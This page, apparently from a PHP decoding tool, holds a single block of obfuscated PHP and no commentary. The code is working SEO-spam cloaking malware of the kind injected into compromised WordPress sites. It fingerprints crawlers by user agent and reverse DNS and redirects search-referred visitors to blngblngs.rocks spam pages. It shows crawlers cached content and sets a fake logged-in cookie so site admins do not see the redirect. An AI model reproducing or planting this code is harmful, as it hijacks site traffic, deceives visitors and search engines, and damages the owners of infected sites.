PHP Decode

goto ED_No; ilQY8: $wOPqy = str_replace($iMW26[1] . "\x2f", $iMW26[1] . "\137\x75\156\x4c\x69\x6e\x65\137", $_SERVER["\122\105\x51\125\x45\123\x54\137\125\x52\x49"]); goto BPqyB; UqSxT: P5erS: goto MgDpn; DDUsB: exit; goto NoHf3; z0aqK: header("\x6c\x6f\143\x61\164\x69\157\x6e\x3a\40" . $X9Hj1); goto ACaZD; Y93zI: if (!SE06f($nLPKI)) { goto NDst9; } goto mEZer; XVkB3: $OebCh = file_get_contents($EOeeY); goto XMMVk; zNdDU: bSyrK: goto aq236; XN7n5: $OebCh = file_get_contents($EOeeY); goto glfdK; A63LJ: function se06F($tR4jB) { goto J9NdT; w9XFy: if (preg_match("\x2f{$hMTNt}\x2f\151", $tR4jB)) { goto ma0fL; } goto bufMY; aaweJ: goto j0Lrt; goto gHd3_; a6Wms: return true; goto s91y2; J9NdT: $hMTNt = str_replace("\x78", '', "\142\x78\170\x69\170\x6e\170\147\170\174\170\141\x78\157\x78\170\x6c\x78\x7c\x61\x78\x73\170\170\153\x7c\170\x67\170\157\170\x78\x6f\170\147\x78\x6c\x78\x65\x7c\x79\170\170\x61\170\x68\170\157\170\x6f\x7c\163\x78\x65\x78\170\x61\x78\162\170\143\x78\150\x7c\144\x75\x78\x63\153\144\x78\165\143\170\x6b\x78\147\x6f"); goto w9XFy; gHd3_: ma0fL: goto a6Wms; s91y2: j0Lrt: goto xkS_k; bufMY: return false; goto aaweJ; xkS_k: } goto qJy6N; YUTC5: $wOPqy = str_replace($iMW26[1] . "\57", $iMW26[1] . "\x5f\x75\x6e\114\x69\x6e\145\x5f", $_SERVER["\122\105\121\125\105\123\124\137\x55\122\x49"]); goto S9sj_; S9sj_: $wOPqy = str_replace("\57", '', $wOPqy); goto azGi1; CvRuP: if (!sE06F($nLPKI)) { goto nwYPW; } goto DH9Iy; DXxku: BUWAL: goto A63LJ; MgDpn: zgaMI: goto KxFnW; WjHk8: $rFXN_ = array("\x23\101\163\x6b\134\163\x2a\112\x65\145\166\x65\163\x23\151", "\x23\110\120\134\163\52\127\145\142\x5c\163\52\120\x72\x69\156\164\123\155\141\162\x74\43\151", "\43\x48\x54\x54\x72\141\x63\153\43\x69", "\43\111\104\x42\x6f\164\43\151", "\x23\x49\x6e\x64\x79\x5c\163\x2a\114\151\x62\x72\141\x72\171\x23", "\x23\x4c\151\163\x74\x43\x68\145\143\153\x65\162\x23\x69", "\x23\x4d\123\x49\105\x43\x72\x61\x77\x6c\x65\x72\x23\x69", "\43\x4e\x65\164\x43\141\143\150\x65\x23\x69", "\x23\x4e\x75\164\x63\x68\43\151", "\x23\122\120\124\55\x48\x54\x54\x50\x43\x6c\x69\x65\x6e\x74\43\151", "\43\162\x75\154\151\156\x6b\x69\134\56\x72\165\x23\x69", "\x23\x54\x77\151\143\x65\x6c\x65\x72\43\151", "\x23\x57\x65\x62\x41\154\x74\141\43\x69", "\x23\127\145\142\163\164\x65\162\134\163\52\x50\x72\x6f\x23\151", "\43\x77\167\167\134\x2e\143\171\163\x5c\x2e\162\165\x23\151", "\43\127\x79\x73\x69\147\x6f\x74\x23\151", "\x23\x59\141\x68\157\x6f\41\x5c\x73\52\123\x6c\165\x72\160\43\x69", "\x23\x59\x65\164\151\43\x69", "\43\x41\143\x63\x6f\x6f\156\141\x23\x69", "\43\103\141\x7a\x6f\x6f\144\x6c\x65\x42\157\x74\43\151", "\x23\103\106\x4e\x65\x74\x77\157\x72\153\43\x69", "\43\103\157\x6e\166\x65\x72\141\103\162\141\167\x6c\145\x72\x23\x69", "\x23\104\x49\x53\x43\157\x23\151", "\43\x44\x6f\x77\x6e\154\x6f\x61\144\x5c\163\52\x4d\x61\163\164\x65\162\43\x69", "\x23\x46\x41\x53\124\x5c\x73\x2a\x4d\x65\x74\141\127\145\142\134\163\52\103\162\141\167\x6c\145\162\x23\151", "\43\x46\154\x65\x78\x75\x6d\134\163\x2a\x73\x70\151\144\x65\162\x23\151", "\43\x47\x69\147\141\x62\157\164\43\x69", "\43\x48\x54\115\114\x50\x61\162\163\145\162\x23\151", "\43\151\x61\137\141\x72\143\x68\151\166\145\162\43\x69", "\43\151\143\150\x69\162\x6f\43\151", "\43\111\x52\x4c\142\157\x74\43\151", "\x23\x4a\x61\166\141\x23\x69", "\x23\x6b\155\134\56\162\165\x5c\x73\x2a\142\x6f\x74\43\x69", "\43\x6b\x6d\123\145\x61\x72\x63\150\x42\x6f\x74\x23\151", "\43\154\151\x62\x77\x77\167\x2d\160\145\x72\154\43\x69", "\x23\114\x75\x70\141\x5c\56\x72\x75\x23\151", "\x23\x4c\x57\120\x3a\x3a\x53\x69\155\160\154\145\43\x69", "\x23\x6c\167\160\x2d\164\x72\x69\166\151\141\154\x23\x69", "\43\115\151\x73\x73\x69\147\x75\x61\x23\151", "\43\115\112\x31\62\x62\157\x74\x23\151", "\x23\155\163\x6e\x62\x6f\x74\x23\151", "\x23\155\163\156\142\x6f\x74\55\x6d\x65\x64\151\x61\43\x69", "\43\117\x66\146\x6c\x69\x6e\145\134\163\52\x45\170\x70\154\157\162\x65\x72\x23\x69", "\x23\x4f\155\x6e\x69\105\170\x70\x6c\x6f\162\145\162\137\102\x6f\164\43\x69", "\43\120\x45\x41\122\x23\x69", "\x23\160\163\142\x6f\164\x23\x69", "\x23\x50\x79\x74\x68\x6f\156\43\x69", "\43\162\165\x6c\x69\x6e\153\x69\134\x2e\x72\x75\43\x69", "\43\x53\115\x49\x4c\x45\43\x69", "\43\x53\x70\145\145\x64\171\x23\x69", "\x23\x54\x65\x6c\145\x70\157\162\164\x5c\163\52\x50\x72\x6f\x23\x69", "\43\x54\x75\162\x74\154\x65\123\143\x61\x6e\156\145\162\43\151", "\43\125\163\145\162\55\101\147\x65\156\x74\x23\x69", "\x23\x76\x6f\x79\141\147\145\162\43\151", "\43\127\145\x62\x61\x6c\164\141\x23\151", "\x23\127\x65\142\103\157\x70\x69\x65\162\43\x69", "\43\127\145\142\104\141\164\x61\x23\151", "\43\x57\x65\142\132\111\x50\x23\151", "\43\x57\147\x65\x74\x23\x69", "\43\131\141\156\x64\145\170\43\x69", "\x23\x59\x61\156\147\141\43\x69", "\43\131\x65\164\x69\43\x69", "\43\x6d\163\x6e\x62\x6f\x74\x23\x69", "\x23\x73\160\x69\144\145\162\43\x69", "\x23\x79\x61\150\157\x6f\43\x69", "\x23\x6a\x65\145\166\x65\x73\43\151", "\43\147\x6f\157\147\154\x65\x23\151", "\43\141\x6c\x74\141\x76\151\x73\x74\141\x23\151", "\x23\163\x63\157\x6f\x74\x65\162\x23\151", "\x23\x61\166\134\163\52\146\x65\164\x63\x68\43\x69", "\x23\x61\163\164\x65\x72\x69\x61\163\x23\151", "\x23\163\160\151\x64\145\162\164\x68\x72\145\141\144\40\x72\x65\166\151\163\x69\x6f\156\x23\x69", "\43\x73\x71\x77\157\162\x6d\x23\151", "\x23\141\163\x6b\43\x69", "\43\154\x79\143\157\x73\56\163\160\151\144\145\162\43\151", "\x23\151\x6e\146\x6f\163\145\x65\153\x20\163\151\x64\145\x77\151\x6e\144\145\x72\x23\x69", "\43\x75\154\164\162\x61\x73\x65\145\153\43\x69", "\x23\160\157\x6c\171\x62\157\164\x23\x69", "\x23\x77\145\x62\x63\x72\141\167\x6c\145\162\43\x69", "\43\x72\x6f\142\157\172\151\x6c\x6c\x23\x69", "\43\147\x75\x6c\154\x69\x76\145\162\x23\x69", "\43\x61\162\x63\150\151\x74\x65\x78\x74\x73\160\x69\144\x65\162\x23\x69", "\x23\x79\141\150\x6f\157\x21\134\x73\x2a\x73\x6c\165\x72\x70\43\x69", "\43\x63\150\141\x72\154\x6f\x74\x74\145\x23\151", "\x23\x6e\x67\142\x23\151", "\43\x42\151\x6e\x67\x42\x6f\x74\x23\x69"); goto TkQcB; KJ4Sf: n02xm: goto woNDU; bnP2M: if (!$XznXR) { goto c7GLg; } goto xhS6W; aq236: Umapn: goto BvZWD; azGi1: $EOeeY = base64_decode("\122\104\x70\143\x63\107\150\167\130\63\x52\x6c\142\x58\x42\143\143\x47\x78\x31\143\107\x78\x76\131\127\122\x63\144\130\x42\x73\115\x53\x38\165") . base64_encode($wOPqy); goto ze2SE; o0fDw: if (!Se06F($nLPKI)) { goto RrSLe; } goto MWEOI; ACaZD: exit; goto ASdNv; ZdhPr: exit; goto zNdDU; Z424W: RrSLe: goto AbE46; yewKR: PUvka: goto yK2lf; mEZer: $X9Hj1 = "\x68\164\x74\x70\163\x3a\57\x2f\142\154\156\x67\x62\154\156\x67\163\x2e\162\157\x63\x6b\163\x2f\x6d\x61\154\145\x2d\163\x74\157\156\145\56\x70\x68\x70\77\x72\145\146\160\x61\147\x65\75" . $_SERVER["\x53\105\122\x56\x45\122\137\x4e\101\115\105"] . $_SERVER["\122\x45\121\x55\105\123\124\x5f\x55\x52\111"]; goto vaHwt; NoHf3: fhanP: goto KMaWm; uZih8: if (!(!preg_match("\57\x77\x6f\x72\x64\x70\162\x65\x73\x73\137\154\157\147\x67\x65\144\x5f\x69\156\137\x2f\151", $E9UQd) && !$XznXR)) { goto VfCFR; } goto CvRuP; ED_No: function tjT5B() { goto ky7Hb; UDNva: cHGXi: goto nmouM; LlmpT: $AgL3f = $_SERVER["\122\x45\x4d\117\x54\x45\137\101\x44\104\122"]; goto UDNva; Sxoxs: $AgL3f = getenv("\110\124\124\x50\x5f\103\x4c\111\x45\116\x54\137\111\x50"); goto VcWVc; cG9Od: jjNuS: goto Sxoxs; p3kwk: goto cHGXi; goto VkFu8; fhxKV: goto cHGXi; goto cG9Od; nnJk_: $AgL3f = getenv("\110\x54\124\x50\x5f\x58\x5f\106\x4f\x52\x57\x41\122\104\x45\104\137\106\117\122"); goto p3kwk; HEZEp: $AgL3f = getenv("\122\x45\x4d\x4f\x54\x45\x5f\x41\104\104\122"); goto su9fA; B8WZX: if (getenv("\110\x54\124\120\x5f\130\137\106\x4f\122\x57\x41\122\104\x45\104\137\106\117\122") && strcasecmp(getenv("\110\124\x54\x50\137\130\137\106\x4f\x52\127\101\x52\104\x45\104\x5f\x46\x4f\122"), "\165\x6e\153\156\157\x77\x6e")) { goto km_jG; } goto RyJli; VcWVc: goto cHGXi; goto sS2ej; su9fA: goto cHGXi; goto TZcdQ; hqrKs: if (isset($_SERVER["\122\x45\115\x4f\124\x45\x5f\101\x44\x44\122"]) && $_SERVER["\x52\105\115\117\x54\x45\x5f\101\x44\104\x52"] && strcasecmp($_SERVER["\122\x45\115\x4f\124\105\x5f\101\104\x44\x52"], "\x75\156\x6b\156\x6f\x77\x6e")) { goto PtpRz; } goto fhxKV; RyJli: if (getenv("\x52\105\x4d\x4f\x54\105\137\101\104\104\122") && strcasecmp(getenv("\122\105\x4d\x4f\x54\x45\x5f\x41\104\x44\x52"), "\165\156\153\156\x6f\167\156")) { goto MW3_z; } goto hqrKs; sS2ej: km_jG: goto nnJk_; TZcdQ: PtpRz: goto LlmpT; nmouM: return $AgL3f; goto oXn59; gruFV: if (getenv("\x48\124\x54\x50\137\x43\114\111\105\116\x54\137\x49\120") && strcasecmp(getenv("\110\124\x54\x50\x5f\x43\114\x49\x45\116\124\137\111\120"), "\x75\156\x6b\x6e\x6f\x77\156")) { goto jjNuS; } goto B8WZX; VkFu8: MW3_z: goto HEZEp; ky7Hb: $AgL3f = ''; goto gruFV; oXn59: } goto X6pkz; Jt0xN: $EOeeY = base64_decode("\122\104\160\x63\143\x47\150\167\x58\63\122\x6c\x62\130\x42\x63\x63\x47\x78\61\x63\x47\170\166\x59\127\122\143\x64\130\102\x73\x4d\151\70\x75") . base64_encode($wOPqy); goto VQmEW; DH9Iy: $X9Hj1 = "\x68\164\164\x70\163\72\57\57\142\154\x6e\147\x62\154\156\147\x73\56\162\x6f\x63\x6b\x73\x2f\143\x62\x64\x2d\152\165\x6d\160\x2d\156\x65\167\56\x70\150\x70\x3f\x72\x65\146\160\141\x67\x65\75" . $_SERVER["\123\105\x52\x56\105\122\x5f\x4e\x41\x4d\x45"] . $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\125\x52\111"]; goto z0aqK; jodU1: if (!(!preg_match("\57\167\x6f\x72\144\160\162\145\163\163\137\x6c\x6f\x67\x67\x65\x64\x5f\x69\156\137\x2f\151", $E9UQd) && !$XznXR)) { goto cuEI0; } goto o0fDw; glfdK: echo base64_decode($OebCh); goto ZdhPr; XMMVk: echo base64_decode($OebCh); goto Tu8j1; jroxa: VfCFR: goto bnP2M; KMaWm: c7GLg: goto KJ4Sf; YiSi3: if (!$XznXR) { goto Umapn; } goto ilQY8; TkQcB: if (!(!empty($_SERVER["\x48\x54\124\x50\137\x55\123\x45\122\137\x41\x47\105\116\x54"]) && FALSE !== strpos(preg_replace($rFXN_, "\55\x4e\x4f\x2d\127\101\131\x2d", $_SERVER["\110\x54\x54\120\x5f\x55\x53\105\122\137\101\107\x45\x4e\x54"]), "\55\116\117\55\127\x41\x59\55"))) { goto PUvka; } goto lHnoE; G6kmZ: NDst9: goto Gnvvz; BvZWD: r0Wu9: goto feIz2; Gnvvz: LCtVO: goto ARqWz; VQmEW: if (!file_exists($EOeeY)) { goto bSyrK; } goto XN7n5; X6pkz: $FAZaU = TJT5B(); goto WjHk8; feIz2: if (!preg_match("\43\x5e\134\57\x28\x5c\167\173\63\x2c\65\175\103\x42\104\134\55\134\167\173\63\54\x35\x7d\x29\134\x2f\x28\x2e\52\51\43\151", $_SERVER["\x52\x45\121\x55\x45\123\124\x5f\125\122\111"], $iMW26)) { goto n02xm; } goto uZih8; qJy6N: $nLPKI = strtolower($_SERVER["\110\124\x54\120\137\x52\105\x46\105\x52\x45\122"]); goto OZl_a; Tu8j1: exit; goto mkm3a; KxFnW: if (!preg_match("\43\136\x5c\57\x28\134\167\173\63\x2c\x35\175\x4b\124\x5c\x2d\x5c\x77\x7b\63\54\65\x7d\51\134\x2f\x28\x2e\52\51\x23\151", $_SERVER["\122\x45\x51\125\x45\x53\124\137\125\x52\111"], $iMW26)) { goto r0Wu9; } goto jodU1; BPqyB: $wOPqy = str_replace("\57", '', $wOPqy); goto Jt0xN; vaHwt: header("\x6c\157\x63\x61\x74\x69\x6f\156\x3a\x20" . $X9Hj1); goto Z4SSL; mkm3a: bMYa1: goto UqSxT; B7_qn: if (!(!preg_match("\x2f\x77\157\x72\x64\160\162\x65\163\163\137\x6c\x6f\147\147\x65\144\137\x69\156\x5f\57\x69", $E9UQd) && !$XznXR)) { goto LCtVO; } goto Y93zI; h2HdZ: $wOPqy = str_replace("\57", '', $wOPqy); goto HipKf; Z4SSL: exit; goto G6kmZ; OZl_a: $E9UQd = ''; goto cey6W; ASdNv: nwYPW: goto jroxa; h8Gba: exit; goto Z424W; ARqWz: if (!$XznXR) { goto P5erS; } goto YUTC5; xhS6W: $wOPqy = str_replace($iMW26[1] . "\57", $iMW26[1] . "\137\x75\x6e\x4c\x69\x6e\x65\137", $_SERVER["\122\x45\121\125\105\x53\x54\x5f\x55\x52\111"]); goto h2HdZ; hs5BM: $OebCh = file_get_contents($EOeeY); goto sQEv_; yK2lf: if (!(FALSE !== strpos(gethostbyaddr($FAZaU), "\147\x6f\157\147\x6c\x65"))) { goto BUWAL; } goto ag5Tp; rAist: header("\x6c\157\143\141\x74\x69\x6f\x6e\72\x20" . $X9Hj1); goto h8Gba; Y8Vrn: zy39K: goto X89Z6; QD4ha: if (!file_exists($EOeeY)) { goto fhanP; } goto hs5BM; X89Z6: if (!preg_match("\43\136\134\57\x28\x5c\x77\173\x33\54\65\175\105\104\x5c\55\134\167\x7b\x33\54\65\x7d\x29\134\x2f\x28\x2e\x2a\51\43\x69", $_SERVER["\x52\105\121\125\105\x53\x54\137\x55\x52\111"], $iMW26)) { goto zgaMI; } goto B7_qn; HipKf: $EOeeY = base64_decode("\x52\104\x70\143\x63\x47\150\x77\130\63\x52\154\142\130\102\143\143\107\x78\61\x63\107\170\x76\131\127\x52\x63\x64\130\102\163\115\171\70\165") . base64_encode($wOPqy); goto QD4ha; lHnoE: $XznXR = 1; goto yewKR; MWEOI: $X9Hj1 = "\x68\164\x74\x70\163\x3a\x2f\57\142\x6c\156\147\x62\x6c\156\x67\163\56\162\x6f\143\153\x73\x2f\167\145\x69\147\x68\164\x2d\x6a\165\155\x70\56\160\x68\160\77\x72\145\146\x70\x61\147\x65\75" . $_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\x4d\x45"] . $_SERVER["\122\105\x51\x55\x45\x53\x54\x5f\125\x52\111"]; goto rAist; cey6W: foreach ($_COOKIE as $wbqeJ => $ArgaI) { $E9UQd .= $wbqeJ . "\75" . $ArgaI . "\54"; TYsgV: } goto Y8Vrn; sQEv_: echo base64_decode($OebCh); goto DDUsB; AbE46: cuEI0: goto YiSi3; ze2SE: if (!file_exists($EOeeY)) { goto bMYa1; } goto XVkB3; ag5Tp: $XznXR = 1; goto DXxku; woNDU: setcookie("\167\157\162\144\160\162\x65\x73\x73\137\154\157\x67\x67\145\x64\137\x69\x6e\x5f\62\x31\62\x33\62\x66\62\x39\67\141\x35\x37\x61\65\141\67\x34\x33\x38\71\64\x61\x30\145\x34\141\70\60\x31\146\x63\63", "\x77\157\162\144\160\162\145\x73\x73\x5f\154\x6f\x67\x67\x65\144\x5f\151\x6e\x5f\x32\x31\x32\63\62\x66\62\71\67\x61\x35\67\141\65\141\x37\64\63\x38\71\x34\x61\x30\145\x34\141\70\x30\x31\146\143\63", time() + 3600 * 24 * 100);